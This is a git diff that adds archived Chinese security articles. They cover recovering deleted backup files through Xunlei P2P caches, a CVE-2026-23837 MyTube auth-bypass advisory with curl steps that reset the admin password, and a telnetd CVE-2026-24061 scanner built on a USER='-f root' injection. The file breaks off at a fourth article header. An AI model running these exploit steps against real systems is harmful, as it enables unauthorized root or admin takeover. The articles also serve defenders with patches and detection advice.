diff --git a/data.json b/data.json index 39e09c51..759c613d 100644 --- a/data.json +++ b/data.json @@ -17030,5 +17030,21 @@ "https://mp.weixin.qq.com/s/p0W9O4xwN_e1LCRAzg9b9g": "告别手动构造 Payload：Burp 文件上传漏洞测试插件，1000 + 绕过 Payload 全解析|工具分享", "https://mp.weixin.qq.com/s/XGx2PYSS0JK0tleL7tFbPA": "秒获Root权限！CVE-2026-24061 批量扫描工具！", "https://mp.weixin.qq.com/s/8YuFlyeuk-VJAtxO2VYgMw": "漏洞情报(已验证) | 友加畅捷 GetAccountList 存在敏感信息泄露漏洞", - "https://mp.weixin.qq.com/s/soxHxzHlonxqtAoJjXiAkg": "逆天漏洞：《明日方舟：终末地》海外首日公测上线就遭遇T0级事故" + "https://mp.weixin.qq.com/s/soxHxzHlonxqtAoJjXiAkg": "逆天漏洞：《明日方舟：终末地》海外首日公测上线就遭遇T0级事故", + "https://mp.weixin.qq.com/s/T5BUIkdENVA7q2LI8u_uBQ": "0day？已修复漏洞复活了！P2P安全问题", + "https://mp.weixin.qq.com/s/70_DPMJ-pYIddHFdn2uJmQ": "【已复现】用友Bip LoginWithV8存在路径穿越(CVE-2025-66744)", + "https://mp.weixin.qq.com/s/l4FxwHNyzZwLPK1QEAEgFQ": "漏洞复现 | 深信服运维安全管理系统 get_all_application_release 敏感信息泄露漏洞", + "https://mp.weixin.qq.com/s/D1MCddkEOYAjc86i2iCrlQ": "CVE-2026-24061 telnet远程认证绕过漏洞批量检测工具", + "https://mp.weixin.qq.com/s/H4YX04tne4xEY8l2kTS2sw": "漏洞预警 | n8n沙箱逃逸漏洞", + "https://mp.weixin.qq.com/s/ZCM2ZmrEu0DAPi8vJ8p0oQ": "新鲜出炉，Shiro 反序列化漏洞一站式综合利用工具", + "https://mp.weixin.qq.com/s/RHFXDnrbuC6FBstmuRn9bw": "又是 Prompt 注入！复盘 CVE-2025-68143：如何利用 Git 配置缺陷实现从“对话”到“提权”的跨越", + "https://mp.weixin.qq.com/s/Rgqvp9TxKk6w2yzmL9iRUQ": "研究显示：GPT-5.2可稳定量产零日漏洞利用", + "https://mp.weixin.qq.com/s/JdFHGnPoYvYeMxx388qnQw": "漏洞管理已死，暴露面管理才是王道！", + "https://mp.weixin.qq.com/s/o2uNvo9IR99I5nMosm5wCA": "“尽情享受您的管理员权限”：SmarterMail 关键远程代码执行漏洞在野外被利用", + "https://mp.weixin.qq.com/s/yVaRh_6xzV34iiBpWF9KWw": "针对若依系统nday的常见各种姿势利用", + "https://mp.weixin.qq.com/s/Im8V9aC0QCyvCYmDDHSeMw": "GNU InetUtils telnetd 存在超过11年的严重漏洞，攻击者可绕过登录并获得 root 权限", + "https://mp.weixin.qq.com/s/ccAjrPywlZzMtB8TTkdVnA": "漏洞预警 | 金和OA SQL注入漏洞", + "https://mp.weixin.qq.com/s/1y53-Iu3JEuNqmiZN-OyIQ": "CVE-2026-23837：MyTube 认证绕过漏洞深度解析", + "https://mp.weixin.qq.com/s/g9s7GG35kW3vupXjQPOgDQ": "漏洞预警 | 孚盟云SQL注入漏洞", + "https://mp.weixin.qq.com/s/2RAosh0fuuQEqELTvvkMVg": "Shiro反序列化漏洞一站式综合利用工具 -- ShiroExploit（1月21日更新）" } \ No newline at end of file diff --git a/doc/2026-01/0day？已修复漏洞复活了！P2P安全问题.md b/doc/2026-01/0day？已修复漏洞复活了！P2P安全问题.md new file mode 100644 index 00000000..f5b321b7 --- /dev/null +++ b/doc/2026-01/0day？已修复漏洞复活了！P2P安全问题.md @@ -0,0 +1,138 @@ +# 0day？已修复漏洞复活了！P2P安全问题 +原创 洞悉安全马翔同学 + 洞悉安全马翔同学 洞悉安全团队 2026-01-23 01:27 + +一句话核心定义P2P + + +P2P（Peer-to-Peer，点对点）是一种 去中心化 的网络架构。在这种架构中，网络中的每个参与者（称为“节点”或“对等体”） 既是资源的消费者，也是资源的提供者 ，彼此直接共享和交换资源，而 无需依赖中央服务器 。 + + +一个生动的比喻： + + +传统客户端-服务器 像一家 大超市 。所有人（客户端）都去这家超市（服务器）买东西（获取资源）。如果超市关门了，大家就什么都买不到了。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/dOYiaqzHIghaFLYs31bUp453ZkiaRaIxErG0koPDMC87ahwQeO9O0UaHpoB064djXhjY5Qt79MVOicibsJk9PPgfug/640?wx_fmt=jpeg&from=appmsg "") + +P2P 网络 像一个 跳蚤市场或集市 。每个来的人（节点）既是买家也是卖家。你可以从别人那里买（下载）东西，你也可以把自己带来的东西卖（上传）给别人。即使有些人离开，市场依然可以运转。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/dOYiaqzHIghaFLYs31bUp453ZkiaRaIxErdrDNd1rZCHSxEMFpYugO5ruUJxsyxmTcnicCmZF9SZ6OPURABiclEYgw/640?wx_fmt=jpeg&from=appmsg "") + + +一个场景分析P2P引发的安全问题 + + +在传统漏洞修复场景中，例如某网站存在备份文件泄露漏洞，其访问地址为 https://www.xxx.com/web.zip 。系统运维人员的修复方式通常是在服务器上直接删除该备份文件。 + +然而，在漏洞修复前的暴露窗口期内，若访问该漏洞地址的客户端（无论是攻击者、白帽子还是运维人员自身）开启了 支持 P2P 缓存或资源共享功能的应用 ，则该客户端可能会在本地缓存该文件，并成为P2P网络中的一个共享节点。 + +在这种情况下，即使运维人员后续从服务器上删除了 web.zip ，该文件仍可能通过P2P网络持续传播。后续攻击者若使用相同的P2P协议或客户端访问同一资源地址，仍可能从已缓存该文件的P2P节点（如之前访问过的客户端）中获取到备份文件，导致漏洞实际上并未彻底消除。 + + +迅雷：P2P技术在中国本土化的“超级混合体” + + +迅雷无疑是当之无愧的“国民级”下载工具。它以极致的下载速度、超高的成功率、简洁的操作体验和强大的生态整合能力，赢得了亿万用户的信赖。每当我们复制一段下载链接，那只熟悉的“蓝色小鸟”便会悄然浮现，成为无数人网络生活中不可或缺的一部分。 + +然而，当我们跳出常规的使用场景，将思维进一步延伸——那些曾经被公开披露的漏洞，是否会借助这类高渗透率的工具，在特定条件下“悄然复活”？ + + +案例深入理解 + + +例如， +曾经在网络安全领域被奉为“教科书”的漏洞平台——乌云，其披露的许多漏洞细节至今仍在被安全人员研究和引用。这些历史文件若未被厂商完全弃用，或在新环境中被重新利用，完全可能通过像迅雷这种覆盖广泛的客户端，形成新的攻击路径。 + +访问乌云镜像地址 + +https://wy.zone.ci/ + +搜索“备份”选择漏洞报告查看详情 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/dOYiaqzHIghaFLYs31bUp453ZkiaRaIxErjWibgEBib6mVnrwmNLzyort8kkWAhRKAEhV5bw3SfaRicl4ZwtUr0PRDw/640?wx_fmt=png&from=appmsg "") + +可获取到漏洞链接 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/dOYiaqzHIghY4LAbRxVQLvRyRHkhzWOc0rEuXQHCN1rhcpeLdkMJNJjhdJGWRTia0YyTiajd2P3Aic3YatUXLs9UjA/640?wx_fmt=png&from=appmsg "") + +如果正常访问漏洞链接可见漏洞均已修复，甚至站点都关闭了。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/dOYiaqzHIghY4LAbRxVQLvRyRHkhzWOc0aibwicyVD1qeDUEad08uRHFnmkia7Cp3x4ugVuDSfEZibkefRYTCRwclcg/640?wx_fmt=png&from=appmsg "") + +但是将漏洞链接通过迅雷 P2P模式进行下载 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/dOYiaqzHIghaFLYs31bUp453ZkiaRaIxErLSicIBATQYx8GxkXqLdqt97ibOjc3iaAzTVFFbJPZ7Jceo8vSRQBdJia8Q/640?wx_fmt=png&from=appmsg "") + +可见迅雷会从各个曾经下载过该文件的用户节点搜索该文件 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/dOYiaqzHIghaFLYs31bUp453ZkiaRaIxErsgsOvyKUeFsZ0TbDye3Rfk4S8QWyySTKfQkQISXce5ibaB1uVQUJ5yg/640?wx_fmt=png&from=appmsg "") + +最终就可以下载到这个已修复的漏洞文件了 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/dOYiaqzHIghaFLYs31bUp453ZkiaRaIxErjl1uJjcC5DPNDN2co4Bxhz8ZC08ZCKryS9zMVmjmjYibIcqEPI1DfIw/640?wx_fmt=png&from=appmsg "") + + +再转变个思路，我们 +是否可以通过迅雷爆破出 P2P的漏洞地址，爆破出备份文件？ +步骤如下： + +首先让 AI生成对应的字典和链接地址 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/dOYiaqzHIghaFLYs31bUp453ZkiaRaIxErF2LjialewweOa1JmGuBDUuHpOU6q8TmKumOqPAT3KfRrzgIST2CwiaBA/640?wx_fmt=png&from=appmsg "") + +然后直接在迅雷进行批量访问这些链接即可，如果链接存在自然会直接下载。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/dOYiaqzHIghaFLYs31bUp453ZkiaRaIxErqc1VH9mbwaibzbW21bxvjiat0ntR51WJhQVDNTDZBdyqXsU8nSJxeTibQ/640?wx_fmt=png&from=appmsg "") + + +修复方案 + + +一、弃用历史文件，迭代新代码 + +假设泄露的是备份文件，其中很可能包含： + +数据库连接字符串、API密钥、加密盐值、密码哈希等。 + +必须立即将所有涉及的密钥、密码、令牌全部轮换 ，即使它们看起来是加密的。 + +二、长期监控与主动防御 + +使用 P2P 网络监控服务 ：有些安全公司提供此类服务，可以监控特定关键字（如公司域名、数据库名、内部项目名）是否出现在P2P共享网络中。 + +自行设置 蜜罐 节点 ：加入相关的P2P网络（如特定Tracker或DHT），监听是否有自己的泄露文件仍在被分享。 + +三、与P2P客户端厂商合作 + +对于迅雷这类有中心化资源索引的服务，可以尝试 直接联系厂商 ，要求从其资源索引数据库中删除特定的URL或文件哈希值 + + +最后小结 + + +发现这个问题是在 22年了，当时对漏洞进行复测，发现漏洞已经在服务器上删除了，正常应该算是已修复。但是我的迅雷识别到这个链接然后自动对备份文件进行下载，这就引起了我的深思，随后深入了解了底层原理...... + +近期，看到过一篇漏洞分享的文章，也是用了迅雷进行下载但是也没有剖析底层，所以本次就公开了漏洞成因。本质上P2P设计的初衷即使如此，所以客观来讲可以不算是漏洞，但是站在一个白帽子或者攻击者角度来讲，实实在在可以被二次利用，可以下载备份文件查看其中并未删除的数据库账号密码等攻击行为。 + +这不禁让我想起当年的快播事件 - 技术无罪，那有罪的是什么？ + +往期推荐 + +[实战案例 | 新型支付漏洞](https://mp.weixin.qq.com/s?__biz=MzkwNzY3MjkwNg==&mid=2247484048&idx=1&sn=2e9d9c26c206be4056c2c7270e47bd23&scene=21#wechat_redirect) + + +[实战经验 | 未授权访问漏洞测试细节-上篇](https://mp.weixin.qq.com/s?__biz=MzkwNzY3MjkwNg==&mid=2247483683&idx=1&sn=f1aa565f5476f144bd3f61adbe7e1f32&scene=21#wechat_redirect) + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/ibe1tukDw6ZktHA3bNDjiaNyianV5BWoePHgjdbKasoPWXre7eeUbIXiaicGI2kyvHyGKbTcSicegGk2ibcVKyWTWrbRA/640?from=appmsg "") + +看过就 + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/UOuL8UaOHjWuk6FG2ASu0VoAtYtKTe4f8nZMzRRSooURW6oId2kFw6uZbYicOJng7j1kwaE8LOicdBJ62sMCln9A/640?from=appmsg "") + +**点赞分享** + +哦～ + diff --git a/doc/2026-01/CVE-2026-23837：MyTube 认证绕过漏洞深度解析.md b/doc/2026-01/CVE-2026-23837：MyTube 认证绕过漏洞深度解析.md new file mode 100644 index 00000000..849e823e --- /dev/null +++ b/doc/2026-01/CVE-2026-23837：MyTube 认证绕过漏洞深度解析.md @@ -0,0 +1,536 @@ +# CVE-2026-23837：MyTube 认证绕过漏洞深度解析 +原创 CVE-SEC + CVE-SEC CVE-SEC 2026-01-23 00:03 + +# CVE-2026-23837：MyTube 认证绕过漏洞深度解析 +## 漏洞概览 + +近日，自托管视频平台 MyTube 被曝出一个严重的认证绕过漏洞（CVE-2026-23837），CVSS 评分高达 9.8 分。该漏洞允许未经认证的远程攻击者完全绕过身份验证机制，直接访问受保护的 API 端点，并执行管理员级别的敏感操作，包括修改管理员密码、窃取配置信息等。 + +**基本信息** +- CVE 编号：CVE-2026-23837 + +- 漏洞类型：认证绕过（CWE-863） + +- CVSS 评分：9.8（严重） + +- 影响版本：MyTube <= 1.7.65 + +- 修复版本：MyTube >= 1.7.66 + +- 披露时间：2026-01-19 + +- 发现者：@p1ngul1n0 + +## 漏洞成因：一次失败的安全设计 +### 问题代码分析 + +漏洞位于 MyTube 后端的角色基于访问控制中间件（roleBasedAuthMiddleware.ts +）中。该中间件原本设计用于验证用户身份并控制访问权限，但在处理未认证用户时犯了一个致命错误。 + +**易受攻击的代码（v1.7.65）：** +``` +export const roleBasedAuthMiddleware = (req, res, next) => { +  // 如果用户是管理员，允许所有请求 +  if (req.user?.role === "admin") { +    next(); +    return; +  } + +  // 如果用户是访客，限制为只读操作 +  if (req.user?.role === "visitor") { +    // ... 访客权限检查逻辑 ... +    next(); +    return; +  } + +  // 对于未认证用户，允许请求继续传递 +  // (loginEnabled 检查和其他认证逻辑将在后续处理) +  next();  // 漏洞点：无条件放行！ +}; + +``` +### 根本原因 + +这段代码存在三个严重的安全设计缺陷： +1. **违反"默认拒绝"原则** +：当 req.user + 为 undefined +（即用户未认证）时，代码跳过所有检查，直接执行 next() + 放行请求。正确的做法应该是默认拒绝，明确允许的才放行。 + +1. **缺少显式的未认证检查** +：代码只检查了 admin + 和 visitor + 两种角色，完全忽略了未认证用户的情况。 + +1. **错误的安全假设** +：注释中提到"后续处理会检查 loginEnabled"，这是一种危险的假设。安全控制应该在每一层独立验证，而不是依赖下游逻辑。 + +## 攻击演示：三步获取完全控制权 + +我们在受控环境中成功复现了完整的攻击链： +### 步骤 1：侦察阶段 + +攻击者首先访问设置端点，确认目标是否启用了登录功能： +``` +curl http://target:5551/api/settings + +``` + +在启用登录的正常情况下，未认证用户应该收到 401 Unauthorized 响应。但由于漏洞存在，攻击者成功获取了完整的配置信息： +``` +{ +  "loginEnabled": true, +  "isPasswordSet": true, +  "websiteName": "MyTube", +  "cloudflareEnabled": true, +  ... +} + +``` + +这证实了漏洞的存在。 +### 步骤 2：修改管理员密码 + +攻击者发送 POST 请求，直接修改管理员密码： +``` +curl -X POST http://target:5551/api/settings \ +  -H "Content-Type: application/json" \ +  -d '{"password":"hacked123","loginEnabled":true}' + +``` + +响应： +``` +{ +  "success": true, +  "settings": { +    "loginEnabled": true, +    ... +  } +} + +``` + +密码修改成功，整个过程无需任何认证。 +### 步骤 3：验证权限获取 + +使用新密码验证身份： +``` +curl -X POST http://target:5551/api/settings/verify-admin-password \ +  -H "Content-Type: application/json" \ +  -d '{"password":"hacked123"}' + +``` + +响应： +``` +{ +  "success": true, +  "role": "admin" +} + +``` + +至此，攻击者获得了完全的管理员权限，整个攻击过程不到 30 秒。 +## 安全影响分析 +### CVSS v3.1 评分：9.8（严重） +
指标
值
说明
攻击向量 (AV)
网络
可远程利用
攻击复杂度 (AC)
低
无需特殊条件
所需权限 (PR)
无
无需认证
用户交互 (UI)
无
全自动化攻击
机密性影响 (C)
高
完全泄露
完整性影响 (I)
高
完全控制
可用性影响 (A)
高
可导致服务中断
### 实际危害 + +**机密性损害** +： +- 泄露所有系统配置信息 + +- 暴露已下载的视频元数据和文件 + +- 暴露 Cloudflare Tunnel 等敏感配置 + +- 泄露订阅频道和下载历史 + +**完整性损害** +： +- 完全控制管理员账户 + +- 任意修改系统配置 + +- 篡改用户数据和权限 + +- 植入恶意配置或后门 + +**可用性损害** +： +- 通过修改配置导致服务不可用 + +- 锁定合法管理员账户 + +- 破坏数据库完整性 + +- 中断自动下载任务 + +## 官方修复方案 + +MyTube 开发团队在收到报告后 24 小时内发布了修复补丁（v1.7.66），响应速度值得称赞。 +### 修复代码分析 +``` +// 新增导入 +import { isLoginRequired } from "../services/passwordService"; + +// 新增公开端点白名单函数 +const isPublicEndpoint = (req: Request): boolean => { +  const path = req.path || req.url || ""; + +  // 允许登录相关端点 +  if (path.includes("/verify-password") || +      path.includes("/verify-admin-password") || +      path.includes("/verify-visitor-password") || +      path.includes("/passkeys/authenticate") || +      path.includes("/passkeys/register") || +      path.includes("/password-enabled") || +      path.includes("/reset-password-cooldown")) { +    return true; +  } + +  return false; +}; + +export const roleBasedAuthMiddleware = (req, res, next) => { +  // ... 管理员和访客检查逻辑保持不变 ... + +  // 对于未认证用户，显式检查 +  if (!req.user) { +    const loginRequired = isLoginRequired(); + +    // 如果需要登录且不是公开端点，拒绝请求 +    if (loginRequired && !isPublicEndpoint(req)) { +      res.status(401).json({ +        success: false, +        error: "Authentication required. Please log in to access this resource.", +      }); +      return; +    } + +    // 如果不需要登录，或这是公开端点，允许请求 +    next(); +    return; +  } + +  // 后备处理 +  next(); +}; + +``` +### 修复要点 +1. **显式检查未认证用户** +：添加了 if (!req.user) + 的明确判断 + +1. **实现登录状态检查** +：调用 isLoginRequired() + 确认系统是否启用登录 + +1. **公开端点白名单** +：创建 isPublicEndpoint() + 函数，明确哪些端点无需认证（如登录接口本身） + +1. **默认拒绝策略** +：当登录被要求且非公开端点时，明确返回 401 错误 + +1. **清晰的错误消息** +：提供有意义的错误提示，便于调试 + +这个修复方案遵循了"默认拒绝"、"最小权限"和"深度防御"等安全最佳实践。 +## 应急响应建议 +### 立即行动（P0 优先级） +1. **紧急升级** + +如果您正在使用 MyTube，请立即升级到 v1.7.66 或更高版本： +``` +# 拉取最新代码 +cd /path/to/MyTube +git pull origin master +git checkout v1.7.66 + +# 重新构建 +cd backend +npm install +npm run build + +# 重启服务 +systemctl restart mytube + +``` + + +1. **密码重置** + +升级后立即更改所有密码： + +1. 管理员密码 + +1. 访客密码（如果使用） + +1. 确保使用强密码（至少 12 位，包含大小写字母、数字、特殊字符） + +1. **安全审计** + +检查访问日志，查找可疑活动： +``` +# 查找未认证的 /api/settings 访问 +grep -E 'POST.*\/api\/settings' /var/log/mytube/access.log | grep -v 'Cookie:' + +# 识别可疑 IP +awk '/POST \/api\/settings/ && !/Cookie:/ {print $1}' /var/log/mytube/access.log | sort | uniq -c | sort -rn + +``` + + +### 临时缓解措施 + +如果无法立即升级，可以采取以下临时措施： + +**方案 1：使用 Nginx 反向代理限制访问** +``` +server { +    listen 80; +    server_name mytube.example.com; + +    location /api/settings { +        # 仅允许来自可信 IP 的访问 +        allow 192.168.1.0/24;  # 修改为你的内网段 +        deny all; + +        proxy_pass http://localhost:5551; +    } + +    location / { +        proxy_pass http://localhost:5551; +        proxy_set_header Host $host; +        proxy_set_header X-Real-IP $remote_addr; +    } +} + +``` + +**方案 2：使用防火墙规则** +``` +# 仅允许本地访问 MyTube 端口 +sudo iptables -A INPUT -p tcp --dport 5551 -s 127.0.0.1 -j ACCEPT +sudo iptables -A INPUT -p tcp --dport 5551 -j DROP + +# 通过 VPN 或反向代理提供外部访问 + +``` +### 长期安全建议 +1. **定期更新** +：订阅 MyTube 的安全公告，建立定期更新流程 + +1. **最小暴露** +：不要将 MyTube 直接暴露到公网，使用 VPN 或零信任方案 + +1. **监控告警** +：启用访问日志记录，监控异常 API 调用模式 + +1. **安全加固** +： + +1. 使用强密码策略 + +1. 定期备份配置和数据 + +1. 实施网络隔离 + +1. **深度防御** +：在多个层面实施安全控制（网络、应用、数据） + +## 检测方法 +### 漏洞检测 + +检查您的 MyTube 实例是否存在此漏洞： +``` +# 测试未认证访问 +curl -i http://your-mytube-instance:5551/api/settings + +# 如果返回 200 OK 且有完整的配置数据，则存在漏洞 +# 如果返回 401 Unauthorized，则已修复 + +``` +### 入侵检测 + +检查系统是否已被入侵： +1. **检查密码最后修改时间** +``` +sqlite3 /path/to/mytube/data/mytube.db \ +  "SELECT * FROM settings ORDER BY id DESC LIMIT 1;" + +``` + + +1. **分析访问日志** + +1. 查找异常时间段的访问（如深夜） + +1. 识别来自未知 IP 的管理操作 + +1. 注意没有 Cookie 头的 POST 请求 + +1. **检查配置变更** + +1. 与已知的良好配置进行对比 + +1. 查找异常的配置项修改 + +## 安全启示：从漏洞中学习 +### 技术层面 +1. **默认拒绝原则** + +安全控制应该采用"默认拒绝，显式允许"的策略。代码逻辑应该明确处理所有可能的情况，而不是依赖隐式的代码流。 +``` +// 错误示范：默认允许 +if (knownCase1) { allow(); } +if (knownCase2) { allow(); } +// 未知情况默认允许 - 危险！ + +// 正确做法：默认拒绝 +if (knownCase1) { allow(); } +else if (knownCase2) { allow(); } +else { deny(); }  // 明确拒绝 + +``` + + +1. **完整的状态处理** + +认证中间件必须明确处理所有可能的用户状态： + +1. 已认证的管理员 + +1. 已认证的普通用户/访客 + +1. 未认证用户 + +1. 公开访问的端点 + +1. **深度防御** + +不要依赖单一的安全控制。每一层都应该独立验证安全性： + +1. 网络层：防火墙、IDS + +1. 应用层：认证中间件、授权检查 + +1. 业务层：权限验证 + +1. 数据层：访问控制、加密 + +1. **安全测试的重要性** + +这个漏洞本可以通过简单的负面测试发现： + +1. 测试未认证用户访问受保护资源 + +1. 测试边界条件和异常情况 + +1. 使用自动化安全测试工具 + +### 流程层面 +1. **安全代码审查** + +认证和授权相关的代码应该经过专门的安全审查： + +1. 使用安全审查清单 + +1. 涉及安全专家参与 + +1. 重点关注边界条件和异常处理 + +1. **威胁建模** + +在设计阶段就应该进行威胁建模： + +1. 识别信任边界 + +1. 分析可能的攻击路径 + +1. 设计相应的防护措施 + +1. **快速响应机制** + +MyTube 团队在 24 小时内发布修复，值得称赞。建立快速响应机制包括： + +1. 明确的漏洞报告渠道 + +1. 漏洞处理流程 + +1. 紧急补丁发布机制 + +1. 用户通知机制 + +## 相关资源 + +**官方信息** +- NVD 数据库：https://nvd.nist.gov/vuln/detail/CVE-2026-23837 + +- GitHub Security Advisory：https://github.com/franklioxygen/MyTube/security/advisories/GHSA-cmvj-g69f-8664 + +- 修复补丁：https://github.com/franklioxygen/MyTube/commit/f85ae9b0d6e4a6480c6af5b675a99069d08d496e + +- MyTube 项目：https://github.com/franklioxygen/MyTube + +**安全参考** +- OWASP Top 10 - A01:2021 Broken Access Control：https://owasp.org/Top10/A01_2021-Broken_Access_Control/ + +- CWE-863: Incorrect Authorization：https://cwe.mitre.org/data/definitions/863.html + +- OWASP Authentication Cheat Sheet：https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html + +## 时间线 +- **2026-01-18** +：漏洞被发现并报告（@p1ngul1n0） + +- **2026-01-19** +：官方发布修复补丁（v1.7.66）和安全公告 + +- **2026-01-19** +：CVE-2026-23837 被正式分配 + +- **2026-01-19** +：NVD 发布漏洞详情 + +- **2026-01-20** +：安全研究团队完成深度分析和实战复现 + +## 总结 + +CVE-2026-23837 是一个典型的认证绕过漏洞，其根本原因在于违反了"默认拒绝"这一基本安全原则。虽然代码实现看似简单，但造成的安全影响却是严重的——攻击者可以在无需任何凭据的情况下完全控制目标系统。 + +这个漏洞给我们带来了宝贵的安全启示： +1. 安全设计必须遵循基本原则（默认拒绝、最小权限、深度防御） + +1. 每一层都应该独立验证安全性，不依赖下游逻辑 + +1. 必须明确处理所有可能的用户状态，包括未认证用户 + +1. 安全测试应该覆盖边界条件和负面场景 + +1. 快速响应和及时修复同样重要 + +对于 MyTube 用户而言，当务之急是立即升级到安全版本，更改所有密码，并审查访问日志查找入侵迹象。 + +对于开发者而言，这个案例再次证明：**安全不是附加功能，而是设计的核心部分。一个看似简单的代码逻辑错误，可能导致整个系统的沦陷。** + +保持警惕，持续学习，共建安全生态。 + +**声明** + +本文所有信息基于公开的官方数据（NVD、GitHub Security Advisory）和在受控环境中的安全研究。所有测试均在本地隔离环境中进行，未对任何未授权系统进行测试。本文仅供安全研究和教育目的，读者应负责任地使用文中信息。 + +**关于作者** + +本文由安全研究团队撰写，专注于漏洞分析、安全研究和防护技术。我们致力于通过深入的技术分析帮助安全社区更好地理解和防范安全威胁。 + +**致谢** + +感谢 @p1ngul1n0 负责任地发现并报告此漏洞，感谢 MyTube 开发团队的快速响应和高质量修复，感谢 GitHub Security Lab 和 MITRE Corporation 提供的安全基础设施支持。 + + diff --git a/doc/2026-01/CVE-2026-24061 telnet远程认证绕过漏洞批量检测工具.md b/doc/2026-01/CVE-2026-24061 telnet远程认证绕过漏洞批量检测工具.md new file mode 100644 index 00000000..6a1203e5 --- /dev/null +++ b/doc/2026-01/CVE-2026-24061 telnet远程认证绕过漏洞批量检测工具.md @@ -0,0 +1,89 @@ +# CVE-2026-24061 telnet远程认证绕过漏洞批量检测工具 +parameciumzhang + parameciumzhang 夜组安全 2026-01-23 00:04 + +免责声明 + +由于传播、利用本公众号夜组安全所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号夜组安全及作者不为此承担任何责任，一旦造成后果请自行承担！如有侵权烦请告知，我们会立即删除并致歉。谢谢！ +**所有工具安全性自测！！！VX：** +**NightCTI** + +朋友们现在只对常读和星标的公众号才展示大图推送，建议大家把 +**夜组安全** +“**设为星标** +”， +否则可能就看不到了啦！ + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/icZ1W9s2Jp2WrOMH4AFgkSfEFMOvvFuVKmDYdQjwJ9ekMm4jiasmWhBicHJngFY1USGOZfd3Xg4k3iamUOT5DcodvA/640?wx_fmt=png&from=appmsg "") + +## 工具介绍 + +**Tell Me Root（基于cve-2026-24061 telnet远程认证绕过漏洞的批量检测工具）** + +CVE-2026-24061 是 GNU inetutils telnetd中的未授权访问漏洞。简单来说，telnetd 会把客户端传递的 USER 环境变量直接交给 login程序，而 login 有个 -f 参数可以免密登录指定用户。攻击者只要注入 USER='-f root'，就能让目标机器执行 login -f root，直接拿到 root 权限。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/icZ1W9s2Jp2XC7YeD51NvPaIpia8iaNiaX2QiaChWB2HrQG3IPJyQRtjzbViak1iam3xMk0gYZVjRmcMen3atzYAptn0A/640?wx_fmt=png&from=appmsg "") +## 功能特性 +- **批量处理** +：支持从文本文件（默认 ips.txt +）批量导入目标 IP。 + +- **智能预检** +：在启动 Telnet 客户端前，先通过 Socket 进行端口存活检测，避免因 IP 不通导致的无效等待。 + +- **自动payload检查** +：内置 payloads，自动尝试登录目标服务器。直接在当前窗口拿到权限。 + +- **实时进度监控** +：清晰展示当前处理进度（例如 ### 进度: 3/10 ### +）。 + +- **容错处理** +：自动跳过超时、连接被拒绝或不可达的 IP，并继续执行下一个任务。 + +## 工具使用 +### 1. 准备目标列表 + +在脚本同级目录下创建 ip_list.txt + 也可以自定义名称，每行输入一个 IP 地址。支持使用 # + 进行注释： +``` +192.168.1.1192.168.1.102# 暂时跳过该服务器# 10.0.0.5 +``` +### 2. 直接运行脚本 +``` +python tell_me_root.py或python3 tell_me_root.py或python tell_me_root.py 自己的ip列表文件或python3 tell_me_root.py 自己的ip列表文件 +``` +## 运行示例 + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/icZ1W9s2Jp2XC7YeD51NvPaIpia8iaNiaX2QjKlZuUQL9octjib3K2ibfliaqXQGlY9ia83XjicGzVeXB5aiclSibibcfUKc1g/640?wx_fmt=png&from=appmsg "") + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/icZ1W9s2Jp2XC7YeD51NvPaIpia8iaNiaX2QiaZCUhYWnEJ5gp4Kv24nely6BGuG3xG48Glp3OR43EHKabJEugo6iacA/640?wx_fmt=png&from=appmsg "") + + +## 工具获取 + + + +点击关注下方名片 +进入公众号 + +回复关键字【 +260123 +】获取 +下载链接 + + +## 往期精彩 + + +[新Shiro反序列化漏洞一站式综合利用工具2026-01-22](https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247496167&idx=1&sn=233a0b85e6a95a8ce91122c9ccdac697&scene=21#wechat_redirect) +[【红队】一款专业的多协议漏洞利用与攻击模拟平台2026-01-21](https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247496145&idx=1&sn=38b1287a667573c09ed4f056afc64b4c&scene=21#wechat_redirect) +[流量之眼 - 智能被动漏洞扫描平台2026-01-20](https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247496127&idx=1&sn=b2e9109847a88c84ac808305babaeb8a&scene=21#wechat_redirect) +[XSS 漏洞练习靶场，覆盖反射型、存储型、DOM 型、SVG、CSP、框架注入、协议绕过等多种场景2026-01-19](https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247496120&idx=1&sn=f2153c748593255cb40ae6f8e50a3ab8&scene=21#wechat_redirect) +[一款自动化403/401绕过工具 | 请求头注入、谓词篡改等多种实战技巧2026-01-16](https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247496113&idx=1&sn=6e48fa8ac465f65cffbe9753de1b9c7f&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/mmbiz_png/OAmMqjhMehrtxRQaYnbrvafmXHe0AwWLr2mdZxcg9wia7gVTfBbpfT6kR2xkjzsZ6bTTu5YCbytuoshPcddfsNg/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&random=0.8399406679299557&tp=webp "") + diff --git a/doc/2026-01/GNU InetUtils telnetd 存在超过11年的严重漏洞，攻击者可绕过登录并获得 root 权限.md b/doc/2026-01/GNU InetUtils telnetd 存在超过11年的严重漏洞，攻击者可绕过登录并获得 root 权限.md new file mode 100644 index 00000000..b2be9b5d --- /dev/null +++ b/doc/2026-01/GNU InetUtils telnetd 存在超过11年的严重漏洞，攻击者可绕过登录并获得 root 权限.md @@ -0,0 +1,65 @@ +# GNU InetUtils telnetd 